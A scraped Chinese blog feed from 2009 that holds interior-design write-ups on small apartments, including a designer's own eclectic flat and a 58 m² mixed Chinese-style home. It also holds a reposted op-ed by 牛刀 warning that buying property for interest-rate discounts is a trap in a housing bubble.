工程工期：2个月
主要饰材：墙面：地平漆、壁纸、红砖、松木、涂料
地面：地平漆
顶面：涂料


慧谷阳光设计说明（王凤波）
　　独居，设计师自己的家，设有主导风格的混搭设计。材质上选用天然质朴的红砖、松木、石头等为主要元素，加以柔软的纱织物为后期的配饰。
采用浓烈厚重的色彩，有大量主人收集的东南亚装饰品以及有民族特色的手饰挂件。
所拆改过的地方：
①卫生间缩小，洗手池外置。
②厨房打开，做成中西两个厨房。
③阳台门拆除，拓成室内空间的一个部分，做为小的休闲区。
1、 推开那扇厚重的从千心万苦淘回来的木门，仿佛走近了另一个神秘的世界，进门处偌大的落地更衣镜，利用镜面效果拓展视觉空间，也方便在出门前审视自己的衣装，房间中没有用任何硬性的隔断，仅采用了飘逸、曼妙的纱帘便轻松营造出两处别致。
2、 在空间不算大的情况下，重头戏的设计则越发的重要，落地大窗有着非常好的视野，可以俯瞰市区街景，亦可眺望远方，静气宁神。设计师临窗角落里放置了，圆几、藤椅、绿植，即古典又现代的小型休憩区轻松营造。清晨，一杯热茶，将洒落一身的眼光尽情拥抱。夜晚，手捧香醇的咖啡，凝望繁华的都市夜色，细数心灵深处的故事……一处精心设计的小空间就足以让生活变的浪漫又有情调，留着自己慢慢回味。
3、 想让小空间即实用又可施展个性，设计师采用了日式塌塌米，可坐可卧的特性弥补了空间的不足，工作累后，可以舒展疲惫的身心，闲暇约一、二知己品茗聊天，未尽兴时亦可留宿彻夜畅谈，塌塌米下超大的储物空间，可尽情收纳，将空间发挥至极致的亦不过如此了！
4、 灵性的空间，愉悦的色彩，别致的摆设，小点缀都是丰富居家生活不可或却的角色，木门，复古的水槽，却巧妙的将传统与现代一同诠释，粗犷红砖堆砌的吧台，色彩斑斓的玻璃灯罩，将新与旧，游走在时尚与前卫之间。
5、 其实在很多细节的地方可以凸显设计师大处不放过，小处亦精心的专业态度，她将自己所收藏的风格迥异又具有浓烈的民族风情的饰品作为墙体的装饰，用异域风情将角落点亮。
6、 木门、木桌、木柜、木椅在这纷扰、喧嚣的都市，你能否感受到主人向往大自然的本与真，追求内心宁静致远的沉与静吗？














58平方米 混搭中式最精彩

雅室档案——
使用面积：58平米
户型特点：小两居
装修风格：混搭中式
居住人口：年轻夫妇
工程造价：1.6万（不含主材）
工程工期：2个月
主要饰材：墙面：墙漆、壁纸
地面：地砖、地板
顶面：顶漆
混搭中式最精彩
使用面积只有58平方米的小两居，是上个世纪80年代最为常见的住宅户型。这种住宅的共同特点就是：进门处极为狭窄，只有一个小小的门厅兼餐厅，却没有客厅的设置。
考虑到业主夫妇都比较年轻、没有孩子，双方的老人也只是偶尔到访，设计师将原有的次卧与小门厅打通，并将客厅、书房和客卧的功能结合在一起。这样做使空间更加合理且具有更好的灵活性，并增强了小居室的通透感觉。（图1、2、3）
中式元素和一些田园风格的家居用品，是业主夫妇比较衷爱的。设计师结合这两个风格的基本符号，在小空间里巧妙安排，既让这两种风格巧妙的融合在一起，形成一种新的装饰效果，又尽量不占有有限的使用面积，把更多的空间留给使用者。



















]]> http://51273914.qzone.qq.com/blog/1258118826#comment 1033 Fri, 13 Nov 2009 13:27:06 GMT http://51273914.qzone.qq.com/blog/1258118826 http://51273914.qzone.qq.com/blog/1257340885 牛刀：现在买房是赚利率小便宜吃房价大亏


很多事情用市场的观点来解释，是说不通的。比方说，利率优惠面临取消，这本来是一件很正常的事，利率优惠、交易税费减免、甚至降息都是高房价给买房人制造的一个陷井。这个陷井已经掘的很深了，有的人已经爬了上来，有的人一辈子恐怕都要陷在这个巨大的陷井里。

说有的人已经爬出来了，是指一些楼市炒家，不是全部炒家，但是是相当一部分炒家，经过了2008年上半年的房价大跌，心有后怕，不管国家出了什么政策，只要房价一涨起来就连忙卖掉囤积的房子，然后，开着宝马X5，满世界泡妞去了。他们的行为很简单，胆子大一点的买通银行内部员工，用假按揭的手法发了大财；胆子小一点的，在房价的暴涨暴跌中，借助2009年政府给楼市炒家发红包之际也发了财，只是从此上岸。这种拿国家红包赚差价的行为，在经济学上叫投机。

说有的人恐怕一辈子都要陷在这个巨大的陷井里，是指两代人凑钱买房的中低收入阶层。本来这个房价过高根本就买不起，但是，等经济适用房吧又不知是猴年马月的事，有的根本就没份；不等经济适用房吧，眼见着什么通胀预期呀，这钱会变成废纸，不如赌一把，不是有那么多人买房都升值了吗？干脆凑个首付把房子整回来再说。不错，通货正在膨胀，钱有可能更不值钱，而且，我们无法指望央行来维护人民币币值的稳定，因为通胀本来就是央行搞出来的，所以，总得为自己的血汗钱找个出路。这么着一弄，原来只是钱可能贬值，现在不仅是买回了一堆泡沫，还有长期月供。这种用自己的薪金收入去交月供的行为，在经济学上叫对冲。

等人们发现原来优惠的利率政策可以收回，原来降下去的利率可以加上来，原来减免的税费都可以重新开征，甚至，还将开征新的税种，这才发现一切都晚了。开始是二套房贷收紧，现在是优惠利率取消，马上是央行加息。本来购置不动产是一辈子的大事，首要问题就是市场稳定政策明朗才能予以考虑，现在的情况相反，好像全体国民都在准备进行楼市投机，一有风吹草动就会激发购买。这不，明知道政策在收紧，利率优惠上调也是政策将收紧的信号之一，却被鼓捣去搭最后一班车，去争相抢房贷。

首先是从上海开始，接着是深圳、南京、北京，这两天楼市新房成交有所放大。许多新闻媒体的记者调查发现，主要动因是明年将要取消房贷利率优惠，促使一些买家为了省一点钱，而最后落定成交。中国楼市有很多乱相怪相，比方说，通货膨胀本来对所有持币人来讲都是一件坏事，应该予以抵制，但是偏偏就被中国楼市用于刺激购买；政策收缩本来对楼市投机行为来讲，也是重大利空，却也能生造一个“利率优惠末班车”的概念；如果人民币升值，肯定会出一个“人民币升值预期”概念，又能忽悠一把。

可是，靠这样编制一个一个“预期”有用吗？这么预期下去会是什么呢？其实，相对中国房价的巨大泡沫，一点利率或者一点交易税费，即使是货币有所贬值，那与房价泡沫比起来也是小儿科啊。而且，在这种一切都在不确定面前，许多人怀有侥幸的心理，认为房价泡沫不会破。而认为房价泡沫不会破的唯一理由也是近乎荒唐的，那就是政府会拼死维护高房价。不过，那怎么可能，政府是一个公权组织，不是一个房地产商的俱乐部。在政权利益面前，房地产的利益轻如鸿毛。

现在买房是赚了一点利率上的优惠，可是这点利率上的优惠对房价泡沫来讲是九牛一毛啊。我认为中国社会要充分认清这一轮房价泡沫衍生的本质，是中国社会巨大的不公所引起的，是地方政府滥用公权与开发商一起合谋，共同欺骗民众的一次全民财富的大掠夺。现在，全球G20国家都在回收流动性，以防止发生恶性通货膨胀，中国也不可能等恶性通胀发生了再来回收流动性吧。只要回收流动性，房价泡沫就要破灭。房价下跌30%到50%是一点也不奇怪的。

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牛刀书屋：牛刀亲笔签名的长篇小说《深圳，我把爱情弄丢了》
]]> http://51273914.qzone.qq.com/blog/1257340885#comment 134218248 Wed, 04 Nov 2009 13:21:25 GMT http://51273914.qzone.qq.com/blog/1257340885 http://51273914.qzone.qq.com/blog/1257334560

你看这皮儿薄呗~~~~ ]]> http://51273914.qzone.qq.com/blog/1257334560#comment 4616 Wed, 04 Nov 2009 11:36:00 GMT http://51273914.qzone.qq.com/blog/1257334560